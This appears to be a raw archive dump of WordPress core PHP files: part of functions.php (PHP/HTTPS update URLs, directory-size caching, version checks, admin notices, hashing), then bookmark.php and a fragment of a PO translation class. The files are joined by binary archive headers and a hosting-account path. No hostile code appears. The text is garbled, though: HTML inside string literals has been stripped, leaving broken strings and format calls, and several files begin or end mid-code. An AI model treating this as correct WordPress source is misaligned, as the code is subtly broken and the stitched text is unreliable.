'https://wordpress.org/support/update-php/', 'localized PHP upgrade information page' ); } /** * Prints the default annotation for the web host altering the "Update PHP" page URL. * * This function is to be used after {@see wp_get_update_php_url()} to display a consistent * annotation if the web host has altered the default "Update PHP" page URL. * * @since 5.1.0 * @since 5.2.0 Added the `$before` and `$after` parameters. * @since 6.4.0 Added the `$display` parameter. * * @param string $before Markup to output before the annotation. Default `

    `. * @param string $after Markup to output after the annotation. Default `

    `. * @param bool $display Whether to echo or return the markup. Default `true` for echo. * * @return string|void */ function wp_update_php_annotation( $before = '

    ', $after = '

    ', $display = true ) { $annotation = wp_get_update_php_annotation(); if ( $annotation ) { if ( $display ) { echo $before . $annotation . $after; } else { return $before . $annotation . $after; } } } /** * Returns the default annotation for the web hosting altering the "Update PHP" page URL. * * This function is to be used after {@see wp_get_update_php_url()} to return a consistent * annotation if the web host has altered the default "Update PHP" page URL. * * @since 5.2.0 * * @return string Update PHP page annotation. An empty string if no custom URLs are provided. */ function wp_get_update_php_annotation() { $update_url = wp_get_update_php_url(); $default_url = wp_get_default_update_php_url(); if ( $update_url === $default_url ) { return ''; } $annotation = sprintf( /* translators: %s: Default Update PHP page URL. */ __( 'This resource is provided by your web host, and is specific to your site. For more information, see the official WordPress documentation.' ), esc_url( $default_url ) ); return $annotation; } /** * Gets the URL for directly updating the PHP version the site is running on. * * A URL will only be returned if the `WP_DIRECT_UPDATE_PHP_URL` environment variable is specified or * by using the {@see 'wp_direct_php_update_url'} filter. This allows hosts to send users directly to * the page where they can update PHP to a newer version. * * @since 5.1.1 * * @return string URL for directly updating PHP or empty string. */ function wp_get_direct_php_update_url() { $direct_update_url = ''; if ( false !== getenv( 'WP_DIRECT_UPDATE_PHP_URL' ) ) { $direct_update_url = getenv( 'WP_DIRECT_UPDATE_PHP_URL' ); } /** * Filters the URL for directly updating the PHP version the site is running on from the host. * * @since 5.1.1 * * @param string $direct_update_url URL for directly updating PHP. */ $direct_update_url = apply_filters( 'wp_direct_php_update_url', $direct_update_url ); return $direct_update_url; } /** * Displays a button directly linking to a PHP update process. * * This provides hosts with a way for users to be sent directly to their PHP update process. * * The button is only displayed if a URL is returned by `wp_get_direct_php_update_url()`. * * @since 5.1.1 */ function wp_direct_php_update_button() { $direct_update_url = wp_get_direct_php_update_url(); if ( empty( $direct_update_url ) ) { return; } echo '

    '; printf( '%2$s %3$s', esc_url( $direct_update_url ), __( 'Update PHP' ), /* translators: Hidden accessibility text. */ __( '(opens in a new tab)' ) ); echo '

    '; } /** * Gets the URL to learn more about updating the site to use HTTPS. * * This URL can be overridden by specifying an environment variable `WP_UPDATE_HTTPS_URL` or by using the * {@see 'wp_update_https_url'} filter. Providing an empty string is not allowed and will result in the * default URL being used. Furthermore the page the URL links to should preferably be localized in the * site language. * * @since 5.7.0 * * @return string URL to learn more about updating to HTTPS. */ function wp_get_update_https_url() { $default_url = wp_get_default_update_https_url(); $update_url = $default_url; if ( false !== getenv( 'WP_UPDATE_HTTPS_URL' ) ) { $update_url = getenv( 'WP_UPDATE_HTTPS_URL' ); } /** * Filters the URL to learn more about updating the HTTPS version the site is running on. * * Providing an empty string is not allowed and will result in the default URL being used. Furthermore * the page the URL links to should preferably be localized in the site language. * * @since 5.7.0 * * @param string $update_url URL to learn more about updating HTTPS. */ $update_url = apply_filters( 'wp_update_https_url', $update_url ); if ( empty( $update_url ) ) { $update_url = $default_url; } return $update_url; } /** * Gets the default URL to learn more about updating the site to use HTTPS. * * Do not use this function to retrieve this URL. Instead, use {@see wp_get_update_https_url()} when relying on the URL. * This function does not allow modifying the returned URL, and is only used to compare the actually used URL with the * default one. * * @since 5.7.0 * @access private * * @return string Default URL to learn more about updating to HTTPS. */ function wp_get_default_update_https_url() { /* translators: Documentation explaining HTTPS and why it should be used. */ return __( 'https://developer.wordpress.org/advanced-administration/security/https/' ); } /** * Gets the URL for directly updating the site to use HTTPS. * * A URL will only be returned if the `WP_DIRECT_UPDATE_HTTPS_URL` environment variable is specified or * by using the {@see 'wp_direct_update_https_url'} filter. This allows hosts to send users directly to * the page where they can update their site to use HTTPS. * * @since 5.7.0 * * @return string URL for directly updating to HTTPS or empty string. */ function wp_get_direct_update_https_url() { $direct_update_url = ''; if ( false !== getenv( 'WP_DIRECT_UPDATE_HTTPS_URL' ) ) { $direct_update_url = getenv( 'WP_DIRECT_UPDATE_HTTPS_URL' ); } /** * Filters the URL for directly updating the PHP version the site is running on from the host. * * @since 5.7.0 * * @param string $direct_update_url URL for directly updating PHP. */ $direct_update_url = apply_filters( 'wp_direct_update_https_url', $direct_update_url ); return $direct_update_url; } /** * Gets the size of a directory. * * A helper function that is used primarily to check whether * a blog has exceeded its allowed upload space. * * @since MU (3.0.0) * @since 5.2.0 $max_execution_time parameter added. * * @param string $directory Full path of a directory. * @param int $max_execution_time Maximum time to run before giving up. In seconds. * The timeout is global and is measured from the moment WordPress started to load. * @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout. */ function get_dirsize( $directory, $max_execution_time = null ) { /* * Exclude individual site directories from the total when checking the main site of a network, * as they are subdirectories and should not be counted. */ if ( is_multisite() && is_main_site() ) { $size = recurse_dirsize( $directory, $directory . '/sites', $max_execution_time ); } else { $size = recurse_dirsize( $directory, null, $max_execution_time ); } return $size; } /** * Gets the size of a directory recursively. * * Used by get_dirsize() to get a directory size when it contains other directories. * * @since MU (3.0.0) * @since 4.3.0 The `$exclude` parameter was added. * @since 5.2.0 The `$max_execution_time` parameter was added. * @since 5.6.0 The `$directory_cache` parameter was added. * * @param string $directory Full path of a directory. * @param string|string[] $exclude Optional. Full path of a subdirectory to exclude from the total, * or array of paths. Expected without trailing slash(es). * Default null. * @param int $max_execution_time Optional. Maximum time to run before giving up. In seconds. * The timeout is global and is measured from the moment * WordPress started to load. Defaults to the value of * `max_execution_time` PHP setting. * @param array $directory_cache Optional. Array of cached directory paths. * Defaults to the value of `dirsize_cache` transient. * @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout. */ function recurse_dirsize( $directory, $exclude = null, $max_execution_time = null, &$directory_cache = null ) { $directory = untrailingslashit( $directory ); $save_cache = false; if ( ! isset( $directory_cache ) ) { $directory_cache = get_transient( 'dirsize_cache' ); $save_cache = true; } if ( isset( $directory_cache[ $directory ] ) && is_int( $directory_cache[ $directory ] ) ) { return $directory_cache[ $directory ]; } if ( ! file_exists( $directory ) || ! is_dir( $directory ) || ! is_readable( $directory ) ) { return false; } if ( ( is_string( $exclude ) && $directory === $exclude ) || ( is_array( $exclude ) && in_array( $directory, $exclude, true ) ) ) { return false; } if ( null === $max_execution_time ) { // Keep the previous behavior but attempt to prevent fatal errors from timeout if possible. if ( function_exists( 'ini_get' ) ) { $max_execution_time = ini_get( 'max_execution_time' ); } else { // Disable... $max_execution_time = 0; } // Leave 1 second "buffer" for other operations if $max_execution_time has reasonable value. if ( $max_execution_time > 10 ) { $max_execution_time -= 1; } } /** * Filters the amount of storage space used by one directory and all its children, in megabytes. * * Return the actual used space to short-circuit the recursive PHP file size calculation * and use something else, like a CDN API or native operating system tools for better performance. * * @since 5.6.0 * * @param int|false $space_used The amount of used space, in bytes. Default false. * @param string $directory Full path of a directory. * @param string|string[]|null $exclude Full path of a subdirectory to exclude from the total, * or array of paths. * @param int $max_execution_time Maximum time to run before giving up. In seconds. * @param array $directory_cache Array of cached directory paths. */ $size = apply_filters( 'pre_recurse_dirsize', false, $directory, $exclude, $max_execution_time, $directory_cache ); if ( false === $size ) { $size = 0; $handle = opendir( $directory ); if ( $handle ) { while ( ( $file = readdir( $handle ) ) !== false ) { $path = $directory . '/' . $file; if ( '.' !== $file && '..' !== $file ) { if ( is_file( $path ) ) { $size += filesize( $path ); } elseif ( is_dir( $path ) ) { $handlesize = recurse_dirsize( $path, $exclude, $max_execution_time, $directory_cache ); if ( $handlesize > 0 ) { $size += $handlesize; } } if ( $max_execution_time > 0 && ( microtime( true ) - WP_START_TIMESTAMP ) > $max_execution_time ) { // Time exceeded. Give up instead of risking a fatal timeout. $size = null; break; } } } closedir( $handle ); } } if ( ! is_array( $directory_cache ) ) { $directory_cache = array(); } $directory_cache[ $directory ] = $size; // Only write the transient on the top level call and not on recursive calls. if ( $save_cache ) { $expiration = ( wp_using_ext_object_cache() ) ? 0 : 10 * YEAR_IN_SECONDS; set_transient( 'dirsize_cache', $directory_cache, $expiration ); } return $size; } /** * Cleans directory size cache used by recurse_dirsize(). * * Removes the current directory and all parent directories from the `dirsize_cache` transient. * * @since 5.6.0 * @since 5.9.0 Added input validation with a notice for invalid input. * * @param string $path Full path of a directory or file. */ function clean_dirsize_cache( $path ) { if ( ! is_string( $path ) || empty( $path ) ) { wp_trigger_error( '', sprintf( /* translators: 1: Function name, 2: A variable type, like "boolean" or "integer". */ __( '%1$s only accepts a non-empty path string, received %2$s.' ), 'clean_dirsize_cache()', '' . gettype( $path ) . '' ) ); return; } $directory_cache = get_transient( 'dirsize_cache' ); if ( empty( $directory_cache ) ) { return; } $expiration = ( wp_using_ext_object_cache() ) ? 0 : 10 * YEAR_IN_SECONDS; if ( ! str_contains( $path, '/' ) && ! str_contains( $path, '\\' ) ) { unset( $directory_cache[ $path ] ); set_transient( 'dirsize_cache', $directory_cache, $expiration ); return; } $last_path = null; $path = untrailingslashit( $path ); unset( $directory_cache[ $path ] ); while ( $last_path !== $path && DIRECTORY_SEPARATOR !== $path && '.' !== $path && '..' !== $path ) { $last_path = $path; $path = dirname( $path ); unset( $directory_cache[ $path ] ); } set_transient( 'dirsize_cache', $directory_cache, $expiration ); } /** * Returns the current WordPress version. * * Returns an unmodified value of `$wp_version`. Some plugins modify the global * in an attempt to improve security through obscurity. This practice can cause * errors in WordPress, so the ability to get an unmodified version is needed. * * @since 6.7.0 * * @return string The current WordPress version. */ function wp_get_wp_version() { static $wp_version; if ( ! isset( $wp_version ) ) { require ABSPATH . WPINC . '/version.php'; } return $wp_version; } /** * Checks compatibility with the current WordPress version. * * @since 5.2.0 * * @global string $_wp_tests_wp_version The WordPress version string. Used only in Core tests. * * @param string $required Minimum required WordPress version. * @return bool True if required version is compatible or empty, false if not. */ function is_wp_version_compatible( $required ) { if ( defined( 'WP_RUN_CORE_TESTS' ) && WP_RUN_CORE_TESTS && isset( $GLOBALS['_wp_tests_wp_version'] ) ) { $wp_version = $GLOBALS['_wp_tests_wp_version']; } else { $wp_version = wp_get_wp_version(); } // Strip off any -alpha, -RC, -beta, -src suffixes. list( $version ) = explode( '-', $wp_version ); if ( is_string( $required ) ) { $trimmed = trim( $required ); if ( substr_count( $trimmed, '.' ) > 1 && str_ends_with( $trimmed, '.0' ) ) { $required = substr( $trimmed, 0, -2 ); } } return empty( $required ) || version_compare( $version, $required, '>=' ); } /** * Checks compatibility with the current PHP version. * * @since 5.2.0 * * @param string $required Minimum required PHP version. * @return bool True if required version is compatible or empty, false if not. */ function is_php_version_compatible( $required ) { return empty( $required ) || version_compare( PHP_VERSION, $required, '>=' ); } /** * Checks if two numbers are nearly the same. * * This is similar to using `round()` but the precision is more fine-grained. * * @since 5.3.0 * * @param int|float $expected The expected value. * @param int|float $actual The actual number. * @param int|float $precision Optional. The allowed variation. Default 1. * @return bool Whether the numbers match within the specified precision. */ function wp_fuzzy_number_match( $expected, $actual, $precision = 1 ) { return abs( (float) $expected - (float) $actual ) <= $precision; } /** * Creates and returns the markup for an admin notice. * * @since 6.4.0 * * @param string $message The message. * @param array $args { * Optional. An array of arguments for the admin notice. Default empty array. * * @type string $type Optional. The type of admin notice. * For example, 'error', 'success', 'warning', 'info'. * Default empty string. * @type bool $dismissible Optional. Whether the admin notice is dismissible. Default false. * @type string $id Optional. The value of the admin notice's ID attribute. Default empty string. * @type string[] $additional_classes Optional. A string array of class names. Default empty array. * @type string[] $attributes Optional. Additional attributes for the notice div. Default empty array. * @type bool $paragraph_wrap Optional. Whether to wrap the message in paragraph tags. Default true. * } * @return string The markup for an admin notice. */ function wp_get_admin_notice( $message, $args = array() ) { $defaults = array( 'type' => '', 'dismissible' => false, 'id' => '', 'additional_classes' => array(), 'attributes' => array(), 'paragraph_wrap' => true, ); $args = wp_parse_args( $args, $defaults ); /** * Filters the arguments for an admin notice. * * @since 6.4.0 * * @param array $args The arguments for the admin notice. * @param string $message The message for the admin notice. */ $args = apply_filters( 'wp_admin_notice_args', $args, $message ); $id = ''; $classes = 'notice'; $attributes = ''; if ( is_string( $args['id'] ) ) { $trimmed_id = trim( $args['id'] ); if ( '' !== $trimmed_id ) { $id = 'id="' . $trimmed_id . '" '; } } if ( is_string( $args['type'] ) ) { $type = trim( $args['type'] ); if ( str_contains( $type, ' ' ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: %s: The "type" key. */ __( 'The %s key must be a string without spaces.' ), 'type' ), '6.4.0' ); } if ( '' !== $type ) { $classes .= ' notice-' . $type; } } if ( true === $args['dismissible'] ) { $classes .= ' is-dismissible'; } if ( is_array( $args['additional_classes'] ) && ! empty( $args['additional_classes'] ) ) { $classes .= ' ' . implode( ' ', $args['additional_classes'] ); } if ( is_array( $args['attributes'] ) && ! empty( $args['attributes'] ) ) { $attributes = ''; foreach ( $args['attributes'] as $attr => $val ) { if ( is_bool( $val ) ) { $attributes .= $val ? ' ' . $attr : ''; } elseif ( is_int( $attr ) ) { $attributes .= ' ' . esc_attr( trim( $val ) ); } elseif ( $val ) { $attributes .= ' ' . $attr . '="' . esc_attr( trim( $val ) ) . '"'; } } } if ( false !== $args['paragraph_wrap'] ) { $message = "

    $message

    "; } $markup = sprintf( '
    %4$s
    ', $id, $classes, $attributes, $message ); /** * Filters the markup for an admin notice. * * @since 6.4.0 * * @param string $markup The HTML markup for the admin notice. * @param string $message The message for the admin notice. * @param array $args The arguments for the admin notice. */ return apply_filters( 'wp_admin_notice_markup', $markup, $message, $args ); } /** * Outputs an admin notice. * * @since 6.4.0 * * @param string $message The message to output. * @param array $args { * Optional. An array of arguments for the admin notice. Default empty array. * * @type string $type Optional. The type of admin notice. * For example, 'error', 'success', 'warning', 'info'. * Default empty string. * @type bool $dismissible Optional. Whether the admin notice is dismissible. Default false. * @type string $id Optional. The value of the admin notice's ID attribute. Default empty string. * @type string[] $additional_classes Optional. A string array of class names. Default empty array. * @type string[] $attributes Optional. Additional attributes for the notice div. Default empty array. * @type bool $paragraph_wrap Optional. Whether to wrap the message in paragraph tags. Default true. * } */ function wp_admin_notice( $message, $args = array() ) { /** * Fires before an admin notice is output. * * @since 6.4.0 * * @param string $message The message for the admin notice. * @param array $args The arguments for the admin notice. */ do_action( 'wp_admin_notice', $message, $args ); echo wp_kses_post( wp_get_admin_notice( $message, $args ) ); } /** * Checks if a mime type is for a HEIC/HEIF image. * * @since 6.7.0 * * @param string $mime_type The mime type to check. * @return bool Whether the mime type is for a HEIC/HEIF image. */ function wp_is_heic_image_mime_type( $mime_type ) { $heic_mime_types = array( 'image/heic', 'image/heif', 'image/heic-sequence', 'image/heif-sequence', ); return in_array( $mime_type, $heic_mime_types, true ); } /** * Returns a cryptographically secure hash of a message using a fast generic hash function. * * Use the wp_verify_fast_hash() function to verify the hash. * * This function does not salt the value prior to being hashed, therefore input to this function must originate from * a random generator with sufficiently high entropy, preferably greater than 128 bits. This function is used internally * in WordPress to hash security keys and application passwords which are generated with high entropy. * * Important: * * - This function must not be used for hashing user-generated passwords. Use wp_hash_password() for that. * - This function must not be used for hashing other low-entropy input. Use wp_hash() for that. * * The BLAKE2b algorithm is used by Sodium to hash the message. * * @since 6.8.0 * * @throws TypeError Thrown by Sodium if the message is not a string. * * @param string $message The message to hash. * @return string The hash of the message. */ function wp_fast_hash( #[\SensitiveParameter] string $message ): string { $hashed = sodium_crypto_generichash( $message, 'wp_fast_hash_6.8+', 30 ); return '$generic$' . sodium_bin2base64( $hashed, SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING ); } /** * Checks whether a plaintext message matches the hashed value. Used to verify values hashed via wp_fast_hash(). * * The function uses Sodium to hash the message and compare it to the hashed value. If the hash is not a generic hash, * the hash is treated as a phpass portable hash in order to provide backward compatibility for passwords and security * keys which were hashed using phpass prior to WordPress 6.8.0. * * @since 6.8.0 * * @throws TypeError Thrown by Sodium if the message is not a string. * * @param string $message The plaintext message. * @param string $hash Hash of the message to check against. * @return bool Whether the message matches the hashed message. */ function wp_verify_fast_hash( #[\SensitiveParameter] string $message, string $hash ): bool { if ( ! str_starts_with( $hash, '$generic$' ) ) { // Back-compat for old phpass hashes. require_once ABSPATH . WPINC . '/class-phpass.php'; return ( new PasswordHash( 8, true ) )->CheckPassword( $message, $hash ); } return hash_equals( $hash, wp_fast_hash( $message ) ); } /** * Generates a unique ID based on the structure and values of a given array. * * This function serializes the array into a JSON string and generates a hash * that serves as a unique identifier. Optionally, a prefix can be added to * the generated ID for context or categorization. * * @since 6.8.0 * * @param array $data The input array to generate an ID from. * @param string $prefix Optional. A prefix to prepend to the generated ID. Default ''. * * @return string The generated unique ID for the array. */ function wp_unique_id_from_values( array $data, string $prefix = '' ): string { if ( empty( $data ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: %s: parameter name. */ __( 'The %s argument must not be empty.' ), '$data' ), '6.8.0' ); } $serialized = wp_json_encode( $data ); $hash = substr( md5( $serialized ), 0, 8 ); return $prefix . $hash; } PK $[)ÄDDbookmark.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/bookmark.php000064400000036103150556261140017462 0ustar00link_id, $bookmark, 'bookmark' ); $_bookmark = $bookmark; } else { if ( isset( $GLOBALS['link'] ) && ( $GLOBALS['link']->link_id === $bookmark ) ) { $_bookmark = & $GLOBALS['link']; } else { $_bookmark = wp_cache_get( $bookmark, 'bookmark' ); if ( ! $_bookmark ) { $_bookmark = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark ) ); if ( $_bookmark ) { $_bookmark->link_category = array_unique( wp_get_object_terms( $_bookmark->link_id, 'link_category', array( 'fields' => 'ids' ) ) ); wp_cache_add( $_bookmark->link_id, $_bookmark, 'bookmark' ); } } } } if ( ! $_bookmark ) { return $_bookmark; } $_bookmark = sanitize_bookmark( $_bookmark, $filter ); if ( OBJECT === $output ) { return $_bookmark; } elseif ( ARRAY_A === $output ) { return get_object_vars( $_bookmark ); } elseif ( ARRAY_N === $output ) { return array_values( get_object_vars( $_bookmark ) ); } else { return $_bookmark; } } /** * Retrieves single bookmark data item or field. * * @since 2.3.0 * * @param string $field The name of the data field to return. * @param int $bookmark The bookmark ID to get field. * @param string $context Optional. The context of how the field will be used. Default 'display'. * @return string|WP_Error */ function get_bookmark_field( $field, $bookmark, $context = 'display' ) { $bookmark = (int) $bookmark; $bookmark = get_bookmark( $bookmark ); if ( is_wp_error( $bookmark ) ) { return $bookmark; } if ( ! is_object( $bookmark ) ) { return ''; } if ( ! isset( $bookmark->$field ) ) { return ''; } return sanitize_bookmark_field( $field, $bookmark->$field, $bookmark->link_id, $context ); } /** * Retrieves the list of bookmarks. * * Attempts to retrieve from the cache first based on MD5 hash of arguments. If * that fails, then the query will be built from the arguments and executed. The * results will be stored to the cache. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|array $args { * Optional. String or array of arguments to retrieve bookmarks. * * @type string $orderby How to order the links by. Accepts 'id', 'link_id', 'name', 'link_name', * 'url', 'link_url', 'visible', 'link_visible', 'rating', 'link_rating', * 'owner', 'link_owner', 'updated', 'link_updated', 'notes', 'link_notes', * 'description', 'link_description', 'length' and 'rand'. * When `$orderby` is 'length', orders by the character length of * 'link_name'. Default 'name'. * @type string $order Whether to order bookmarks in ascending or descending order. * Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'. * @type int $limit Amount of bookmarks to display. Accepts any positive number or * -1 for all. Default -1. * @type string $category Comma-separated list of category IDs to include links from. * Default empty. * @type string $category_name Category to retrieve links for by name. Default empty. * @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts * 1|true or 0|false. Default 1|true. * @type int|bool $show_updated Whether to display the time the bookmark was last updated. * Accepts 1|true or 0|false. Default 0|false. * @type string $include Comma-separated list of bookmark IDs to include. Default empty. * @type string $exclude Comma-separated list of bookmark IDs to exclude. Default empty. * @type string $search Search terms. Will be SQL-formatted with wildcards before and after * and searched in 'link_url', 'link_name' and 'link_description'. * Default empty. * } * @return object[] List of bookmark row objects. */ function get_bookmarks( $args = '' ) { global $wpdb; $defaults = array( 'orderby' => 'name', 'order' => 'ASC', 'limit' => -1, 'category' => '', 'category_name' => '', 'hide_invisible' => 1, 'show_updated' => 0, 'include' => '', 'exclude' => '', 'search' => '', ); $parsed_args = wp_parse_args( $args, $defaults ); $key = md5( serialize( $parsed_args ) ); $cache = wp_cache_get( 'get_bookmarks', 'bookmark' ); if ( 'rand' !== $parsed_args['orderby'] && $cache ) { if ( is_array( $cache ) && isset( $cache[ $key ] ) ) { $bookmarks = $cache[ $key ]; /** * Filters the returned list of bookmarks. * * The first time the hook is evaluated in this file, it returns the cached * bookmarks list. The second evaluation returns a cached bookmarks list if the * link category is passed but does not exist. The third evaluation returns * the full cached results. * * @since 2.1.0 * * @see get_bookmarks() * * @param array $bookmarks List of the cached bookmarks. * @param array $parsed_args An array of bookmark query arguments. */ return apply_filters( 'get_bookmarks', $bookmarks, $parsed_args ); } } if ( ! is_array( $cache ) ) { $cache = array(); } $inclusions = ''; if ( ! empty( $parsed_args['include'] ) ) { $parsed_args['exclude'] = ''; // Ignore exclude, category, and category_name params if using include. $parsed_args['category'] = ''; $parsed_args['category_name'] = ''; $inclinks = wp_parse_id_list( $parsed_args['include'] ); if ( count( $inclinks ) ) { foreach ( $inclinks as $inclink ) { if ( empty( $inclusions ) ) { $inclusions = ' AND ( link_id = ' . $inclink . ' '; } else { $inclusions .= ' OR link_id = ' . $inclink . ' '; } } } } if ( ! empty( $inclusions ) ) { $inclusions .= ')'; } $exclusions = ''; if ( ! empty( $parsed_args['exclude'] ) ) { $exlinks = wp_parse_id_list( $parsed_args['exclude'] ); if ( count( $exlinks ) ) { foreach ( $exlinks as $exlink ) { if ( empty( $exclusions ) ) { $exclusions = ' AND ( link_id <> ' . $exlink . ' '; } else { $exclusions .= ' AND link_id <> ' . $exlink . ' '; } } } } if ( ! empty( $exclusions ) ) { $exclusions .= ')'; } if ( ! empty( $parsed_args['category_name'] ) ) { $parsed_args['category'] = get_term_by( 'name', $parsed_args['category_name'], 'link_category' ); if ( $parsed_args['category'] ) { $parsed_args['category'] = $parsed_args['category']->term_id; } else { $cache[ $key ] = array(); wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); /** This filter is documented in wp-includes/bookmark.php */ return apply_filters( 'get_bookmarks', array(), $parsed_args ); } } $search = ''; if ( ! empty( $parsed_args['search'] ) ) { $like = '%' . $wpdb->esc_like( $parsed_args['search'] ) . '%'; $search = $wpdb->prepare( ' AND ( (link_url LIKE %s) OR (link_name LIKE %s) OR (link_description LIKE %s) ) ', $like, $like, $like ); } $category_query = ''; $join = ''; if ( ! empty( $parsed_args['category'] ) ) { $incategories = wp_parse_id_list( $parsed_args['category'] ); if ( count( $incategories ) ) { foreach ( $incategories as $incat ) { if ( empty( $category_query ) ) { $category_query = ' AND ( tt.term_id = ' . $incat . ' '; } else { $category_query .= ' OR tt.term_id = ' . $incat . ' '; } } } } if ( ! empty( $category_query ) ) { $category_query .= ") AND taxonomy = 'link_category'"; $join = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id"; } if ( $parsed_args['show_updated'] ) { $recently_updated_test = ', IF (DATE_ADD(link_updated, INTERVAL 120 MINUTE) >= NOW(), 1,0) as recently_updated '; } else { $recently_updated_test = ''; } $get_updated = ( $parsed_args['show_updated'] ) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : ''; $orderby = strtolower( $parsed_args['orderby'] ); $length = ''; switch ( $orderby ) { case 'length': $length = ', CHAR_LENGTH(link_name) AS length'; break; case 'rand': $orderby = 'rand()'; break; case 'link_id': $orderby = "$wpdb->links.link_id"; break; default: $orderparams = array(); $keys = array( 'link_id', 'link_name', 'link_url', 'link_visible', 'link_rating', 'link_owner', 'link_updated', 'link_notes', 'link_description' ); foreach ( explode( ',', $orderby ) as $ordparam ) { $ordparam = trim( $ordparam ); if ( in_array( 'link_' . $ordparam, $keys, true ) ) { $orderparams[] = 'link_' . $ordparam; } elseif ( in_array( $ordparam, $keys, true ) ) { $orderparams[] = $ordparam; } } $orderby = implode( ',', $orderparams ); } if ( empty( $orderby ) ) { $orderby = 'link_name'; } $order = strtoupper( $parsed_args['order'] ); if ( '' !== $order && ! in_array( $order, array( 'ASC', 'DESC' ), true ) ) { $order = 'ASC'; } $visible = ''; if ( $parsed_args['hide_invisible'] ) { $visible = "AND link_visible = 'Y'"; } $query = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query"; $query .= " $exclusions $inclusions $search"; $query .= " ORDER BY $orderby $order"; if ( -1 !== $parsed_args['limit'] ) { $query .= ' LIMIT ' . absint( $parsed_args['limit'] ); } $results = $wpdb->get_results( $query ); if ( 'rand()' !== $orderby ) { $cache[ $key ] = $results; wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); } /** This filter is documented in wp-includes/bookmark.php */ return apply_filters( 'get_bookmarks', $results, $parsed_args ); } /** * Sanitizes all bookmark fields. * * @since 2.3.0 * * @param stdClass|array $bookmark Bookmark row. * @param string $context Optional. How to filter the fields. Default 'display'. * @return stdClass|array Same type as $bookmark but with fields sanitized. */ function sanitize_bookmark( $bookmark, $context = 'display' ) { $fields = array( 'link_id', 'link_url', 'link_name', 'link_image', 'link_target', 'link_category', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_updated', 'link_rel', 'link_notes', 'link_rss', ); if ( is_object( $bookmark ) ) { $do_object = true; $link_id = $bookmark->link_id; } else { $do_object = false; $link_id = $bookmark['link_id']; } foreach ( $fields as $field ) { if ( $do_object ) { if ( isset( $bookmark->$field ) ) { $bookmark->$field = sanitize_bookmark_field( $field, $bookmark->$field, $link_id, $context ); } } else { if ( isset( $bookmark[ $field ] ) ) { $bookmark[ $field ] = sanitize_bookmark_field( $field, $bookmark[ $field ], $link_id, $context ); } } } return $bookmark; } /** * Sanitizes a bookmark field. * * Sanitizes the bookmark fields based on what the field name is. If the field * has a strict value set, then it will be tested for that, else a more generic * filtering is applied. After the more strict filter is applied, if the `$context` * is 'raw' then the value is immediately return. * * Hooks exist for the more generic cases. With the 'edit' context, the {@see 'edit_$field'} * filter will be called and passed the `$value` and `$bookmark_id` respectively. * * With the 'db' context, the {@see 'pre_$field'} filter is called and passed the value. * The 'display' context is the final context and has the `$field` has the filter name * and is passed the `$value`, `$bookmark_id`, and `$context`, respectively. * * @since 2.3.0 * * @param string $field The bookmark field. * @param mixed $value The bookmark field value. * @param int $bookmark_id Bookmark ID. * @param string $context How to filter the field value. Accepts 'raw', 'edit', 'db', * 'display', 'attribute', or 'js'. Default 'display'. * @return mixed The filtered value. */ function sanitize_bookmark_field( $field, $value, $bookmark_id, $context ) { $int_fields = array( 'link_id', 'link_rating' ); if ( in_array( $field, $int_fields, true ) ) { $value = (int) $value; } switch ( $field ) { case 'link_category': // array( ints ) $value = array_map( 'absint', (array) $value ); /* * We return here so that the categories aren't filtered. * The 'link_category' filter is for the name of a link category, not an array of a link's link categories. */ return $value; case 'link_visible': // bool stored as Y|N $value = preg_replace( '/[^YNyn]/', '', $value ); break; case 'link_target': // "enum" $targets = array( '_top', '_blank' ); if ( ! in_array( $value, $targets, true ) ) { $value = ''; } break; } if ( 'raw' === $context ) { return $value; } if ( 'edit' === $context ) { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( "edit_{$field}", $value, $bookmark_id ); if ( 'link_notes' === $field ) { $value = esc_html( $value ); // textarea_escaped } else { $value = esc_attr( $value ); } } elseif ( 'db' === $context ) { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( "pre_{$field}", $value ); } else { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( "{$field}", $value, $bookmark_id, $context ); if ( 'attribute' === $context ) { $value = esc_attr( $value ); } elseif ( 'js' === $context ) { $value = esc_js( $value ); } } // Restore the type for integer fields after esc_attr(). if ( in_array( $field, $int_fields, true ) ) { $value = (int) $value; } return $value; } /** * Deletes the bookmark cache. * * @since 2.7.0 * * @param int $bookmark_id Bookmark ID. */ function clean_bookmark_cache( $bookmark_id ) { wp_cache_delete( $bookmark_id, 'bookmark' ); wp_cache_delete( 'get_bookmarks', 'bookmark' ); clean_object_term_cache( $bookmark_id, 'link' ); } PK$[ */ public $headers = array(); /** * Adds an entry to the PO structure. * * @since 2.8.0 * * @param array|Translation_Entry $entry * @return bool True on success, false if the entry doesn't have a key. */ public function add_entry( $entry ) { if ( is_array( $entry ) ) { $entry = new Translation_Entry( $entry ); } $key = $entry->key(); if ( false === $key ) { return false; } $this->entries[ $key ] = &$entry; return true; } /** * Adds or merges an entry to the PO structure. * * @since 2.8.0 * * @param array|Translation_Entry $entry * @return bool True on success, false if the entry doesn't have a key. */ public function add_entry_or_merge( $entry ) { if ( is_array( $entry ) ) { $entry = new Translation_Entry( $entry ); } $key = $entry->key(); if ( false === $key ) { return false; } if ( isset( $this->entries[ $key ] ) ) { $this->entries[ $key ]->merge_with( $entry ); } else { $this->entries[ $key ] = &$entry; } return true; } /** * Sets $header PO header to $value * * If the header already exists, it will be overwritten * * TODO: this should be out of this class, it is gettext specific * * @since 2.8.0 * * @param string $header header name, without trailing : * @param string $value header value, without trailing \n */ public function set_header( $header, $value ) { 